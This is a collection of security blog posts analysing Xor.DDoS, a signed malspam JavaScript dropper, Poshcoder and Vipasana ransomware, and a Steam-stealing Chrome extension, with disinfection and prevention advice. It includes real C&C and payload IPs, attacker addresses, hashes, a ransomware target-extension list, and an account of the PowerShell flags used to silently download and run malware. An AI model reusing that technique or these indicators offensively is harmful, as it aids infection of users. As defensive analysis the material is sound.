  • Identify malicious processes: run ps ef (ps stands for process status) to see which processes are running. Alternatively, you can use top or again ps with other parameters, for example ps ej or ps aux for a more complete, human readable table. Look for processes with random names; in our example it started with S90 and random letters afterwards, linked to files with all random names, as is the case in our example malware named bmtsfnlgxu.

    Once you've identified the malicious process(es), you can use the following command to find related files as well: for pid in $(ps -C -o pid=); do ls -la /proc/$pid/fd; done
    Where is the name of the suspicious process. This command will display any open, related files.For example, for bmtsfnlgxu it would be:
    for pid in $(ps -C bmtsfnlgxu -o pid=); do ls -la /proc/$pid/fd; done


  • Identify malicious files: look for newly created files in /etc/init.d/, /boot/ and /usr/bin/. Again, look for files with random names. You may also use the command ls -lat | head to view recently changed files.

    Check your crontab (/etc/crontab). Delete the malicious cron jobs, more specifically the cron.hourly jobs and in the case of Xor.DDoS they will be the following:

    */3 * * * * root /etc/cron.hourly/cron.sh
    */3 * * * * root /etc/cron.hourly/udev.sh

    Delete these two lines from your crontab. Don't forget to save. Delete the related files, located in /etc/cron.hourly. In our case, their content was as follows:

    cron.sh


         udev.sh





As said earlier, delete these files manually, as well as the file(s) mentioned in the scripts. (in this case: /lib/libgcc.so.bak, /lib/libgcc.so and /lib/libgcc4.4.so.) Note that these files are not related to GCC's runtime library and thus can be safely deleted. It's just another way how the malware tries to hide itself.

Also double-check there are no malicious files or scripts in /etc/rc.d. If so, remove them as well.


  • Stop and kill malicious processes: identify the parent process; usually it will be the one consuming the most CPU (which you can verify using any of the earlier commands, top being the easiest). Firstly, be sure to stop the parent process and wait for the child processes to die. Use the command: kill -STOP $pid

    When the child processes are dead, kill the parent by using: kill -9 $pid
    Note:
    in case you see any other malicious processes, go through the last 2 commands again.

  • Delete any leftover malicious files: locations where the malware may reside have been indicated before, but to be complete:
    /boot/
    /etc/init.d/
    /etc/rc.d
    /etc/rcX.d
    /usr/bin/
    /lib/
    /lib/udev/udev
    /lib/udev/debug

That's it. Some additional tips and tricks: 
  • Use rm -rf to permanently remove a file. Be careful with this command.
  • Having troubles removing a file? Are you root? If not, try killing a process or deleting a file using root by prepending sudo before your command. For example: sudo kill -STOP $pid
  • Malicious process keeps coming back? Go over the steps again, but this time note down where the malware resides. Make that directory and its files unmodifiable by making use of the chattr command. For example, malware is being recreated in /usr/bin/. Use the command: chattr -R +i /usr/bin/ Then, stop the parent, wait for the children to die and kill the parent. Remove the files. Don't forget to use chattr again after you cleaned the infection. (in our example: chattr -R -i /usr/bin/)

    It's also possible the malware is temporarily storing files into /tmp/ while you are trying to kill its processes. When that happens, use the same chattr command on the /tmp/ directory and start over. If you are in doubt, use that chattr command on all aforementioned directories and start over. Very important: do not forget to use chattr -R -i on them afterwards!
  • In rare cases, the attacker may still be connected to your box. If possible, cut the internet connection and go over the disinfection steps. If this is not possible, firstly stop SSH by entering the command:
    sudo /etc/init.d/ssh stop

    Then, use iptables to drop any connection to the IPs the malware is connecting to (use netstat for example, see also Diagnosis) and to drop any connection from the attacker or cybercriminal. How to do this:

    In our example, we learned that our C&C's were 103.25.9.228 and 103.25.9.229. Thus, type or copy/paste these 2 commands:
    iptables -A OUTPUT -d 103.25.9.228 -j DROP
    iptables -A OUTPUT -d 103.25.9.229 -j DROP


    To block connection(s) from the attacker (you can find the attacker's IP using netstat for example):
    iptables -A INPUT -s $attackerIP -j DROP

    Don't forget to save your freshly created iptables rules by using the command
    /etc/init.d/iptables save

    Afterwards, change all passwords. (SSH, your user, root)

Best case scenario here is obviously:

  • restoring from a backup 
  • if the machine is virtual, restore to a previous snapshot
When you have either of these available, don't forget to change all passwords afterwards to prevent re-infection - and patch your machine(s)!

Some Xor.DDoS variants may also incorporate a rootkit. In that case, hope you have a "best case scenario" available to you. Once a box is fully compromised, it may be hard to reinstate it back to normal or its original state.

For double-checking for rootkits and other malware, you may want to check out chkrootkit. Alternatively, you can download and install an antivirus, for example ClamAV.

If you perform manual clean-up as indicated above and have confirmed all is in order again, you can install ClamAV and perform an extra scan to be sure. Better be safe than sorry. Then, follow the prevention tips below to stay safe.



Prevention
  • Use strong passwords for SSH or use keys instead of passwords for authentication. You can read how to do that here. In the unlikely event of you not needing SSH to a particular machine, disable it on that machine by:
    sudo apt-get remove openssh-server


    To disable it from starting up you can use:
    update-rc.d -f ssh remove
  • Keep your software and applications up-to-date, as on any system.
  • Use a strong firewall. In Linux there are many options, iptables is a solid choice. A good basic iptables howto can be found here. In a network or if you need to protect several machines, you may want to consider a seperate hardware appliance as your firewall/UTM/... of choice.
  • Iptables can do a very decent job once properly configured. In case you want to do less manual work, I advise to check out sshguard or artillery. Both can monitor and alert you when something funky happens. In the context of our blog post, it also looks for & protects against SSH bruteforce attempts. Another application to consider is fail2ban. An additional tool is snort. For more information about these tools, refer to their pages.
  • Consider using SELinux. Security-Enhanced Linux is a compulsory access control security mechanism provided in the kernel.

  • Consider locking down cron jobs to only certain users. To deny all users from using cron you can use:
    echo ALL >>/etc/cron.deny
  • If you browse a lot, consider using NoScript as well.
  • Consider installing an antivirus as second opinion or at least an additional layer. This is not a necessity but may come in handy. I recommend ClamAV.
  • Don't forget to protect other appliances that may be running on *nix systems, for example your router. Upgrade the firmware as soon as possible and change the default root/admin password(s). Install updates/patches for your particular firewall/UTM/... as well.
  • For even more (general) tips on hardening your Linux system (not against Xor.DDoS in particular):
    20 Linux Server Hardening Security Tips




Conclusion
Don't be fooled: Linux malware very much exists and starts to become more prevalent. Other prevalent Linux malware nowadays is:

  • Every ELF malware made by the ChinaZ actor or group (Linux/ChinaZ.DDoS, Linux.Kluh, ...)
  • Linux/Aes.DDoS (Dofloo, MrBlack)
  • Linux/Bash0day (Shellshock, Bashdoor)
  • Linux/BillGates (Gates.B)
  • Linux/Elknot (DnsAmp)
  • Linux/GoARM (Ramgo, Goram)


Note that this list is not complete and new ELF malware may pop up every day. (it's not a question of if, but when it will pop up)

Hopefully you have learned new things along the way of this blog post. For any specific questions, don't hesitate to leave a comment or contact me on Twitter: @bartblaze

To conclude this blog post, some acknowledgements and resources/references:

Acknowledgements

My colleague from Panda France, Julien Gourlaouen for informing me about this incident.

Everyone who helped, helps and will help in battling creators of ELF malware, in particular @MalwareMustDie for their excellent research and increasing awareness about these threats.

Last but not least, thank youfor reading my blog post. 


Resources

AlienVault - Xor.DDoS hashes, IPs and domains (see also related pulses)
Avast -  Linux DDoS Trojan hiding itself with an embedded rootkit
Cisco -  Threat Spotlight: SSHPsychos
FireEye - Anatomy of a Brute Force Campaign: The Story of Hee Thai Limited
MalwareMustDie - Fuzzy reversing a new China ELF "Linux/XOR.DDoS"
MalwareMustDie - Linux/XorDDoS infection incident report (CNC: HOSTASA.ORG)
MalwareMustDie - A bad Shellshock & Linux/XOR.DDoS CNC "under the hood"
MalwareMustDie - Polymorphic in ELF malware: Linux/Xor.DDOS
Yale - ELF Format (PDF)

A quick look at a signed spam campaign

$
0
0

I noticed the following tweet pass by on Twitter:


The mail received is as follows:

Spam but digitally signed















As Robert correctly notes, since the mail is digitally signed, it may entice people more to open the attachment and get infected. In case you're wondering, the key id of the certificate is as follows:
FE:22:B7:24:E3:4F:27:D9:05:E0:CC:B8:BD:DE:F4:8D:23:FD:2F:D9(copy of cert on Pastebin)
Issuer: C=IT, O=DigitPA, OU=Ufficio interoperabilita' e cooperazione, CN=DigitPA CA1

Signature details. S/MIME message format





















Both first and second mail are coming from: 175.156.221.127 - IPvoid - Whois (DomainTools)

IP location: Singapore (VirusTotal)









On to the attachment (the .xml file is harmless):


"recalculation.zip" attached













Hello
This recalculation of payments for the last month.
I remind you of your debt 3148,48 AUD.
Please pay as soon as possible.


The ZIP file contains 2 files: recalculation_77979.pdf.js& info_9455.txt. The TXT file just contains the name of the first file, which tries to hide as a PDF file but is in fact JavaScript (JS).

Part of the JavaScript

















You can find the original JavaScript on Pastebin. You can also find the decoded base64 here and the final obtained JavaScript here. In the final JavaScript, you'll see it downloads a file and renames it to a random filename, then executes it:

Download

Run










It fetches a file from: 203.255.186.156 - IPvoid - Whois (DomainTools)
IP location: Korea (VirusTotal)








The eventual payload may be Andromeda/Gamarue, which will make your machine part of a botnet. Some information on the dropped DLL file (this is all static analysis):

Meta-data
==================================================================
File:    28236726.dll
Size:    495630 bytes
Type:    PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit
MD5:     934df5b173790da14ef3a817ec1fc422
SHA1:    e90b6e45f255350d0fd4cba361a09ad5d8271af1
ssdeep:  12288:GysxmAb/DC7BfWLc9ivHsegWDhNSKDWrV5rJfT:jo768wAAExDoPr9
Date:    0x429CE7C3 [Tue May 31 22:40:03 2005 UTC]
EP:      0x1000bddb .text 0/5
CRC:     Claimed: 0x0, Actual: 0x83498 [SUSPICIOUS]
Packers: Armadillo v1.xx - v2.xx

Functions in our DLL file




















You may also find the file on VirusTotal, SHA1 hash: e90b6e45f255350d0fd4cba361a09ad5d8271af1


There's also an analysis available by Reverse.it (Hybrid Analysis) on Windows 7 32bit& Windows 7 64bit. Feel free to perform any additional research on it, let me know if you find something interesting or should you find out exactly which kind of malware this is.

Just as a note, while all that is happening in the background, a decoy PDF file gets opened as well, as to not raise suspicion:

Decoy PDF document (not malicious)
















Prevention

For administrators:
  • Sender's end: Create an SPF record, as to prevent sender address forgery. More on SPF here.
  • Receiver's end: Turn on SPF checking on your mailserver.
  • If possible, turn on full support for DMARC. More on DMARC here.
  • Check that only your mailserver may access the WAN (or RED) on port 25. Configure this in your firewall.
  • Check that you use strong passwords for your Domain Controller server(s). 
  • Check that antivirus is installed, up-to-date and running on all workstations. (if applicable)
  • If not needed, you can disable Windows Script Host (WSH), as it's needed for JavaScript to run locally. Read how to do that here

For endusers:
  • Don't open attachments from unknown senders - ever.
  • Install an antivirus and keep it up-to-date and running. Enable the option to scan Compressed Files. 
  • Preferably, see that your antivirus has a firewall as well, to prevent unauthorised access.
  • Consider disabling Windows Script Host. You can use my tool, Rem-VBSworm with option D for example.
  • Alternatively, you can install Analog X's Script Defender, which will block these scripts (JS, VBS, ...) as well.
Some time ago, I did a Q&A on ransomware, which also included several general tips on how to prevent (ransomware and other) malware. You can find and read those tips here.




Disinfection

As usual:
  • Look for suspicious Run keys (find locations here) and delete the associated file(s).
    In our case, all files were dropped in the %TEMP% folder. Also, don't forget to look for rundll32.exe processes, as the payload was a DLL file. More information on rundll32 here.
  • Run a full scan with your installed antivirus product.
  • Run a full scan with another antivirus and/or antimalware product.
  • In a company: warn your network administrator immediately!




Conclusion

Now how was that mail sent out? There's no sure way of telling - it's possible the company is compromised (by either malware or an attacker), there's no SPF record, the certificate has been stolen (unlikely but not impossible), .... Most likely, a machine is infected by a spambot.

Note that with PEC (Posta Elettronica Certificata), a user can send a signed message even when the mailserver is not compromised. PEC means the server signs a message to ensure timestamp and sender, not content. More on PEC here (ITA) or here (EN). See also point 2 and 4 in the Prevention tips above.

I've contacted all related parties and hoping I'll get a reply soon, or at the very least they will perform some analysis and cleaning.

Follow the prevention tips above to stay safe. If you're looking for Indicators of Compromise (IOCs), they can be found as usual on AlienVault's OTX 

More ransomware shenanigans

$
0
0

Recently, an update of the infamous CryptoWall ransomware (or cryptoware) was released - you can read more about that particular ransomwere here: CryptoWall 4.0 released with new Features such as Encrypted File Names

Additionally, another ransomware variant has made a return, read more about that one here:
“Offline” Ransomware Encrypts Your Data without C&C Communication

And let's not forget about this one either: Chimera Ransomware focuses on business computers

Did I mention yet there's ransomware for Linux as well? Have a look at Linux.Encoder.1 while you're at it.

... But wait, there's more! You've guessed it, yet another ransomware variant has returned. I wonder what's going on these days, the (cyber)criminals seem to get even more competitive.

Lawrence Abrams over at Bleeping Computer recently wrote an article about the variant we have here as well, as we have caught an updated variant of Poshcoder or Poshkoder or Power Worm:
Shoddy Programming causes new Ransomware to destroy your Data


Moving on to the infection vector and process:







Kan du kontrollera den bifogade filen och låt mig veta vad du tycker? Tack









I just got this document, could you please check it and get back to me? Thanks


Email headers indicate:
Received: from techdallas.xyz (45.63.12.192.vultr.com [45.63.12.192])

45.63.12.192 - IPvoid - Whois

IP location: United States (VirusTotal)








Attached is a file called Bilaga.doc or Document.doc. Other variations are possible, depending on the language (in this case either Swedish or English).

Let's see what's inside Bilaga.doc:

Ole10Native is in fact a VBS file


As you can see, there's an ObjectPool present, containing an Ole native file. The former contains storages for embedded OLE objects. In this case, it's containing a VBS file: 


The VBscript uses Powershell with certain flags or parameters to download a file to the %TEMP% folder and execute it:
(Note that by default PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems)

  • -WindowStyle hidden: don't display anything to the user (set WindowStyle as hidden)
  • -ExecutionPolicy Bypass: no scrips are blocked, neither are there any warnings or prompts
  • -nologo: starts the PowerShell console without displaying the copyright banner
  • -noprofile: tells PowerShell to not load profile (user) scripts
You can find a tad more information on these commands here.

But what is the user seeing? Opening the Word document, there's another, clickable 'document': 
Clicking the icon, warning message from Word
















Decoy message













Then nothing happens, except in the background:
PowerShell download & running the malware







Another PowerShell script (.ps1 file) is being executed, which will start encrypting files with the following extensions:

"*.pdf","*.xls","*.docx","*.xlsx","*.mp3","*.waw","*.jpg","*.jpeg","*.txt","*.rtf","*.doc","*.rar","*.zip","*.psd","*.tif","*.wma","*.gif","*.bmp","*.ppt","*.pptx","*.docm","*.xlsm","*.pps","*.ppsx","*.ppd","*.eps","*.png","*.ace","*.djvu","*.tar","*.cdr","*.max","*.wmv","*.avi","*.wav","*.mp4","*.pdd","*.php","*.aac","*.ac3","*.amf","*.amr","*.dwg","*.dxf","*.accdb","*.mod","*.tax2013","*.tax2014","*.oga","*.ogg","*.pbf","*.ra","*.raw","*.saf","*.val","*.wave","*.wow","*.wpk","*.3g2","*.3gp","*.3gp2","*.3mm","*.amx","*.avs","*.bik","*.dir","*.divx","*.dvx","*.evo","*.flv","*.qtq","*.tch","*.rts","*.rum","*.rv","*.scn","*.srt","*.stx","*.svi","*.swf","*.trp","*.vdo","*.wm","*.wmd","*.wmmp","*.wmx","*.wvx","*.xvid","*.3d","*.3d4","*.3df8","*.pbs","*.adi","*.ais","*.amu","*.arr","*.bmc","*.bmf","*.cag","*.cam","*.dng","*.ink","*.jif","*.jiff","*.jpc","*.jpf","*.jpw","*.mag","*.mic","*.mip","*.msp","*.nav","*.ncd","*.odc","*.odi","*.opf","*.qif","*.xwd","*.abw","*.act","*.adt","*.aim","*.ans","*.asc","*.ase","*.bdp","*.bdr","*.bib","*.boc","*.crd","*.diz","*.dot","*.dotm","*.dotx","*.dvi","*.dxe","*.mlx","*.err","*.euc","*.faq","*.fdr","*.fds","*.gthr","*.idx","*.kwd","*.lp2","*.ltr","*.man","*.mbox","*.msg","*.nfo","*.now","*.odm","*.oft","*.pwi","*.rng","*.rtx","*.run","*.ssa","*.text","*.unx","*.wbk","*.wsh","*.7z","*.arc","*.ari","*.arj","*.car","*.cbr","*.cbz","*.gz","*.gzig","*.jgz","*.pak","*.pcv","*.puz","*.r00","*.r01","*.r02","*.r03","*.rev","*.sdn","*.sen","*.sfs","*.sfx","*.sh","*.shar","*.shr","*.sqx","*.tbz2","*.tg","*.tlz","*.vsi","*.wad","*.war","*.xpi","*.z02","*.z04","*.zap","*.zipx","*.zoo","*.ipa","*.isu","*.jar","*.js","*.udf","*.adr","*.ap","*.aro","*.asa","*.ascx","*.ashx","*.asmx","*.asp","*.indd","*.asr","*.qbb","*.bml","*.cer","*.cms","*.crt","*.dap","*.htm","*.moz","*.svr","*.url","*.wdgt","*.abk","*.bic","*.big","*.blp","*.bsp","*.cgf","*.chk","*.col","*.cty","*.dem","*.elf","*.ff","*.gam","*.grf","*.h3m","*.h4r","*.iwd","*.ldb","*.lgp","*.lvl","*.map","*.md3","*.mdl","*.mm6","*.mm7","*.mm8","*.nds","*.pbp","*.ppf","*.pwf","*.pxp","*.sad","*.sav","*.scm","*.scx","*.sdt","*.spr","*.sud","*.uax","*.umx","*.unr","*.uop","*.usa","*.usx","*.ut2","*.ut3","*.utc","*.utx","*.uvx","*.uxx","*.vmf","*.vtf","*.w3g","*.w3x","*.wtd","*.wtf","*.ccd","*.cd","*.cso","*.disk","*.dmg","*.dvd","*.fcd","*.flp","*.img","*.iso","*.isz","*.md0","*.md1","*.md2","*.mdf","*.mds","*.nrg","*.nri","*.vcd","*.vhd","*.snp","*.bkf","*.ade","*.adpb","*.dic","*.cch","*.ctt","*.dal","*.ddc","*.ddcx","*.dex","*.dif","*.dii","*.itdb","*.itl","*.kmz","*.lcd","*.lcf","*.mbx","*.mdn","*.odf","*.odp","*.ods","*.pab","*.pkb","*.pkh","*.pot","*.potx","*.pptm","*.psa","*.qdf","*.qel","*.rgn","*.rrt","*.rsw","*.rte","*.sdb","*.sdc","*.sds","*.sql","*.stt","*.t01","*.t03","*.t05","*.tcx","*.thmx","*.txd","*.txf","*.upoi","*.vmt","*.wks","*.wmdb","*.xl","*.xlc","*.xlr","*.xlsb","*.xltx","*.ltm","*.xlwx","*.mcd","*.cap","*.cc","*.cod","*.cp","*.cpp","*.cs","*.csi","*.dcp","*.dcu","*.dev","*.dob","*.dox","*.dpk","*.dpl","*.dpr","*.dsk","*.dsp","*.eql","*.ex","*.f90","*.fla","*.for","*.fpp","*.jav","*.java","*.lbi","*.owl","*.pl","*.plc","*.pli","*.pm","*.res","*.rsrc","*.so","*.swd","*.tpu","*.tpx","*.tu","*.tur","*.vc","*.yab","*.8ba","*.8bc","*.8be","*.8bf","*.8bi8","*.bi8","*.8bl","*.8bs","*.8bx","*.8by","*.8li","*.aip","*.amxx","*.ape","*.api","*.mxp","*.oxt","*.qpx","*.qtr","*.xla","*.xlam","*.xll","*.xlv","*.xpt","*.cfg","*.cwf","*.dbb","*.slt","*.bp2","*.bp3","*.bpl","*.clr","*.dbx","*.jc","*.potm","*.ppsm","*.prc","*.prt","*.shw","*.std","*.ver","*.wpl","*.xlm","*.yps","*.md3","*.1cd"

As you can see, it has covered quite a lot of extensions. Nathan Scott from Bleeping Computer provided an image with a great explanation on what the script does:

(Source)



















In the version I saw, the PowerShell scripts were slightly different, in fact an 'improved version'.

After encrypting all your files, it will drop an HTML file (named DECRYPT_INSTRUCTION.html) on the root of all your folders which contains the following message:

Ransom message - you may need to pay up to $ 1000















It generates your #UUID by the following simple PowerShell command:
Get-wmiobject Win32_ComputerSystemProduct UUID

When visiting said Onion (Tor) link:

Unlock message



Difference here from the version of October is that they also offer to decrypt 1 file, as proof they can actually decrypt all your files again. Unfortunately, the encryption fails horribly (for example, no extension is appended) and your files will be unrecoverable. For more information, see here.



Prevention

  • Don't open attachments from unknown senders - ever.
  • Install an antivirus and keep it up-to-date and running. Enable the option to scan Compressed Files. 
  • Consider disabling Windows Script Host. You can use my tool, Rem-VBSworm with option D for example.
  • Alternatively, you can install Analog X's Script Defender, which will block these scripts (JS, VBS, ...) as well.
  • Consider disabling PowerShell if you don't need or use it. There are two possible options:



    Note that if you have a company laptop, you should inform with your network administrator first.
  • Improve security for your Microsoft Office package. (Word, Excel, ...)
    This means disabling ActiveX, disabling macros and blocking external content. Useful links:
    Enable or disable ActiveX controls in Office documents
    Enable or disable macros in Office documents
    Block or unblock external content in Office documents
  • As with all ransomware cases: take backups!

Some time ago, I did a Q&A on ransomware, which also included several general tips on how to prevent (ransomware and other) malware. You can find and read those tips here.




Disinfection
  • Identify and kill malicious processes (use Task Manager for example). In this specific case:
    winword.exe, wscript.exe, powershell.exe
  • Run a full scan with your installed antivirus product.
  • Run a full scan with another antivirus and/or antimalware product.
  • In a company: unplug your network cable & warn your network administrator immediately!



Conclusion

Ransomware is far from dead (that is, encrypting ransomware or cryptoware, the "old" ransomware isn't very much around anymore), thus it's important to take preventive measures as outlined above.

You may find IOCs (Indicators Of Compromise) as usual on AlienVault's OTX.


Resources

Microsoft - ObjectPool Storage


Acknowledgments

Thanks to my colleague Ville from Panda Security Sweden for alerting me about this incident and Lawrence & Nathan over at Bleeping Computer for their already available information.

Security Predictions 2016

$
0
0


Since everyone's doing it, here are some of my security predictions for 2016.


  • More ransomware
  • More misuse of the word 'CryptoLocker' (this ransomware died somewhere in 2014)
  • More malware
  • More misspellings of malware ('mallware', 'maleware', etc.)
  • More IoT devices (Internet of Things)
  • More ransomware or other malware for IoT devices
  • More database/company breaches
  • More spam, phishing, etc.
  • More (ATM) skimming
  • More nation-state malware
  • More governments spying on their citizens
  • More privacy concerns
  • ...

Essentially: more of the same. I also suspect 2016 the year of more nation-state malware to be discovered/uncovered. And of course more encrypting ransomware (aka 'cryptoware') as it's still a succesful recipe. As long as people pay the ransom, they will keep bringing out new & improved versions/variants.

More security predictions (and probably more explained in depth or simply better ones) can be found by performing a search with your favorite search engine.

May you have a safe, malware-free, privacy-friendly 2016!


Chrome extension empties your Steam inventory

$
0
0

I recently got notified about the following topic (and post) on TeamFortress.tv:
Known scammer alt opening a gambling site

In there, you can see a Steam user named Delta (Steam profile down below) has created several 'helpful' Chrome extensions for Counter-Strike: Global Offensive (CS:GO).

A few examples:


'Read and change all your data on the websites you visit'





























Other examples are:

CSGODouble Theme Changer
CS:GO Double Withdraw Helper
Csgodouble AutoGambling Bot
Improved CSGODouble

Instead of being able to change your CS:GO Double theme, your items from your inventory are getting stolen; instead of trading with X or Y person you trust, the items go to the scammer rather than whoever you're trading with:





All the addons he made can be found here. You can report them to Google as well by clicking 'Report Abuse'> 'Malware'. Note: some of them are still in the store despite several reports.

Update (20/01): all mentioned extensions are now removed from the Chrome Web Store.



76561198254328724 is the Steam ID of the scammer, who currently has a/is on trade probation; which means they recently had a trade ban removed.










Update (20/01):'Delta' is now trade banned (again):










You can find his Steam profile here and his SteamRep profile here. (SteamRep is "a non-profit site that partners with community administrators to improve the safety of game-related trading.")





Disinfection

As opposed to actual SteamStealers, this one's pretty easy to disinfect or remove, as you can simply remove the extension(s) from Chrome:











In this example:








You may read more about installing, managing and removing extensions here. If you're having problems removing one of the extensions, you can also try resetting your Chrome browser.



Prevention


Does it look suspicious? Does it sound too good to be true? Don't install it!

For more prevention tips on securing your Steam account, see my earlier post about SteamStealers here.

Steam also has a FAQ set up in regards to: Spyware, Malware, Adware, or Virus Interfering with Steam



Conclusion

SteamStealers are (unfortunately) nothing new. Criminals are getting craftier and better in attempting to steal items or account credentials (along with other credentials) from unsuspecting users.

As opposed to actual malware or SteamStealers being loaded on your machine, this time it's a browser extension - thus be wary of anything that looks too good to be true and think twice
before you install anything (whether that be an extensions, a 'screensaver' or images that look like you ;) ).

Follow the prevention tips above to stay safe. For any questions or feedback, don't hesitate to comment.


Vipasana ransomware new ransom on the block

$
0
0

Yet another ransomware is going around (since at least the 20th of December), which I've dubbed Vipasana ransomware due to where you need to send your encrypted files to:

Message in Russian, you need to mail vipasana4@aol.com to get your files back



















The name may be derived from Vipassanā or 'insight meditation'.

The message in Russian reads:

твои файлы зашифрованы, если хочешь
все вернуть, отправь 1 зашифрованный файл на эту почту:

vipasana4@aol.com

ВНИМАНИЕ!!! у вас есть 1 неделя что-бы написать мне на почту, по прошествии
этого срока расшифровка станет не возможна!!!!

Translated:

Yourfiles are encrypted, if you want them allreturned,
send 1 encrypted fileto this email:


vipasana4@aol.com

ATTENTION!!!you have 1week to send the email,after
this deadline decryption will not be possible!!!!

It seems these ransomware authors first want you to send an email before requiring any other action, rather than immediately (or in a certain timeframe) paying Bitcoins to get your files back. In this sense, their technique is novel. Instead of the usual 24/48/72h to pay up, they give you a week.

Do not be fooled: this does not make them 'good guys' in any way, they encrypted your files and as such are criminals.

Search results for vipasana4@aol.com are non-existent, with the exception of one victim hit by this ransomware:



Email addresses used in this specific ransomware campaign:
johnmen.24@aol.com
vipasana4@aol.com


Files will be encrypted and renamed following below naming convention:
email-vipasana4@aol.com.ver-CL 1.2.0.0.id-[ID]-[DATE-TIME].randomname-[RANDOM].[XYZ].CBF

Where [XYZ] is also a random 'extension', the real extension is .cbf


Targeted file extensions:

.r3d, .rwl, .rx2, .p12, .sbs, .sldasm, .wps, .sldprt, .odc, .odb, .old, .nbd, .nx1, .nrw, .orf, .ppt, .mov, .mpeg, .csv, .mdb, .cer, .arj, .ods, .mkv, .avi, .odt, .pdf, .docx, .gzip, .m2v, .cpt, .raw, .cdr, .cdx, .1cd, .3gp, .7z, .rar, .db3, .zip, .xlsx, .xls, .rtf, .doc, .jpeg, .jpg, .psd, .zip, .ert, .bak, .xml, .cf, .mdf, .fil, .spr, .accdb, .abf, .a3d, .asm, .fbx, .fbw, .fbk, .fdb, .fbf, .max, .m3d, .dbf, .ldf, .keystore, .iv2i, .gbk, .gho, .sn1, .sna, .spf, .sr2, .srf, .srw, .tis, .tbl, .x3f, .ods, .pef, .pptm, .txt, .pst, .ptx, .pz3, .mp3, .odp, .qic, .wps


I have sent over all necessary files to the good people over at Bleeping Computer, as there may be a way to recover files. If so, I will update this post.





Conclusion


Ransomware is, unfortunately, long from gone. Almost each week or month, new variants or totally new strains of ransomware are popping up. In this way, the first and foremost rule is:

Create (regular) backups!

For more prevention advise, see here

You may also find a list of Indicators of Compromise (IOCs; hashes, domains, ...) over at AlienVault:
Vipasana ransomware

Preventie van ransomware

$
0
0

This blog post will be fully in Dutch. If you'd like to read English material, be sure to check out my Q&A on ransomware. A translation will also be available in one of the next days.


Ransomware heeft in principe geen introductie meer nodig, maar kortgezegd zal deze specifieke soort malware (bijna) al je bestanden encrypteren en een bepaald bedrag vragen (tegenwoordig vaak in Bitcoin) om terug toegang tot al je bestanden te verkrijgen.

Andere benamingen: cryptoware, encrypting ransomware.

Deze blog post is opgesplitst in twee luiken: 1 voor thuisgebruikers, 1 voor bedrijven. De meeste tips zijn echter ook uitwisselbaar en kunnen naar believen worden toegepast.

Tot slot worden ook enkele tools ter beschikking gesteld als aanvulling alsook extra resources.


Thuisgebruikers


  • Gebruik, afhankelijk van de mailclient, een degelijke anti-spam filter. In zo goed als alle online diensten (bv. Outlook.com, Gmail, ...) wordt deze reeds standaard aangeboden.
  • Open nooit een bijlage van een onbekende afzender. 
  • Blokkeer de executie van macro's in je Office-pakket
  • Schakel Windows Script Host uit. Gebruik hiervoor bijvoorbeeld optie D in mijn tool.
  • Schakel PowerShell uit. Dit kan via Configuratiescherm > Programma's >
    Windows Onderdelen in- of uitschakelen.
  • Gebruik een degelijke anti-virus/anti-malware en firewall oplossing en houdt deze up-to-date.
  • Verwijder alle oude Java versies, of verwijder Java volledig indien mogelijk.
  • Verwijder SilverLight indien mogelijk.
  • Installeer steeds alle relevante Windows updates.
  • Activeer click-to-play voor Flash in je browser. Dit hangt af van je browser zelf.
  • Installeer NoScript of vergelijkbaar in je browser.
  • Installeer een adblocker in je browser, bijvoorbeeld uBlock Origin.
  • Er is eveneens een freeware programma beschikbaar, dat heel wat zaken voor je automatisch gaat instellen (zoals bekende locaties waarvan ransomware zich start gaat monitoren) genaamd CryptoPrevent.


Last but not least, de twee belangrijkste punten:

  • Denk altijd twee keer na alvorens een link of bijlage aan te klikken/te openen.
  • Neem geregeld backups! Vergeet niet om na de backup je externe harde schijf los te koppelen. Wees ook voorzichtig met backups naar de cloud - eenmaal je merkt dat je geïnfecteerd bent, verbreek meteen de netwerkverbinding en/of sluit het toestel af om de schade te beperken.

    Test ook of de backup geslaagd is en herstel enkele (test)bestanden. Een backup is altijd de beste optie hier om bestanden terug te zetten, maar dan moet je ook weten dat deze gelukt is.




Bedrijven

Ook in bedrijven zijn vele van de bovenstaande tips van toepassing. Het overgrote deel hiervan is ook perfect toepasbaar via Group Policies (GPO).

Enkele aanvullingen:


  • Gebruik steeds sterke wachtwoorden voor je servers (ongeacht domain controller of fileserver, etc...).
  • Schakel indien mogelijk toegang tot RDP uit. Indien dit niet mogelijk is, gebruik een goede firewall oplossing (hardwarematig) met VPN. Gebruik ook hier sterke wachtwoorden/authenticatie.
  • Schakel administrator-rechten uit voor gewone gebruikers. De meeste gebruikers met een bedrijfslaptop zouden in theorie geen programma's of dergelijke moeten installeren.
  • Schakel via GPO het gebruik van macro's in Office uit indien mogelijk, schakel Windows Script Host uit en verplicht het gebruik van antivirus.
  • Installeer dus ook antivirus op alle toestellen in het netwerk en zeker voor gebruikers die hun toestel mee naar huis (mogen) nemen.
  • Indien aanwezig, activeer de optie om gearchiveerde bestanden te laten scannen door de antivirus.
  • Installeer een degelijke anti-spam oplossing en verbiedt het gebruik van bijlagen met gevaarlijke extensies (.exe, .scr, ....) maar blokkeer ook JavaScript bestanden (.js).
  • Verifieer de file sharing permissies van je gebruikers. Wees hier zo efficiënt mogelijk in. Een gebruiker tot groep X heeft niets te zoeken op de share van groep Y? Beperk de toegang. (maak bijvoorbeeld gebruik van ACLs)
  • Informeer gebruikers over de gevaren van het openen van bijlagen van een onbekende afzender of het zomaar losweg klikken op een link in een onbekende mail. Heb eveneens een actieplan klaar voor moest er zich toch een malware-infectie voordoen (ransomware of anders).
  • Gebruik policies om EXE bestanden vanuit bepaaldel locaties niet toe te staan. Link.


Last but not least, de twee belangrijkste punten:
  • 'Failing to prepare is preparing for failure'. Preventie is belangijker dan desinfectie. 
  • Neem geregeld backups! Vergeet niet om na de backup je externe harde schijf los te koppelen. Wees ook voorzichtig met backups naar de cloud - eenmaal je merkt dat je geïnfecteerd bent, verbreek meteen de netwerkverbinding en/of sluit het toestel af om de schade te beperken.

    Test ook of de backup geslaagd is en herstel enkele (test)bestanden. Een backup is altijd de beste optie hier om bestanden terug te zetten, maar dan moet je ook weten dat deze gelukt is.



Tools

Browser:
Gebruik bij voorkeur Internet Explorer of Edge niet - andere browsers zijn namelijk meer 'customizable', wat wil zeggen dat je met een add-on of extensie wat extra bescherming kan instellen.
(vergeet echter niet om deze extensies ook up-to-date te houden)


Activeer click-to-play voor plugins (zoals Flash of Silverlight)
uBlock Origin (Chrome)
uBlock Origin (Firefox)
NoScript

Blokkeer de uitvoering van scripts:
Remediate VBS Worm
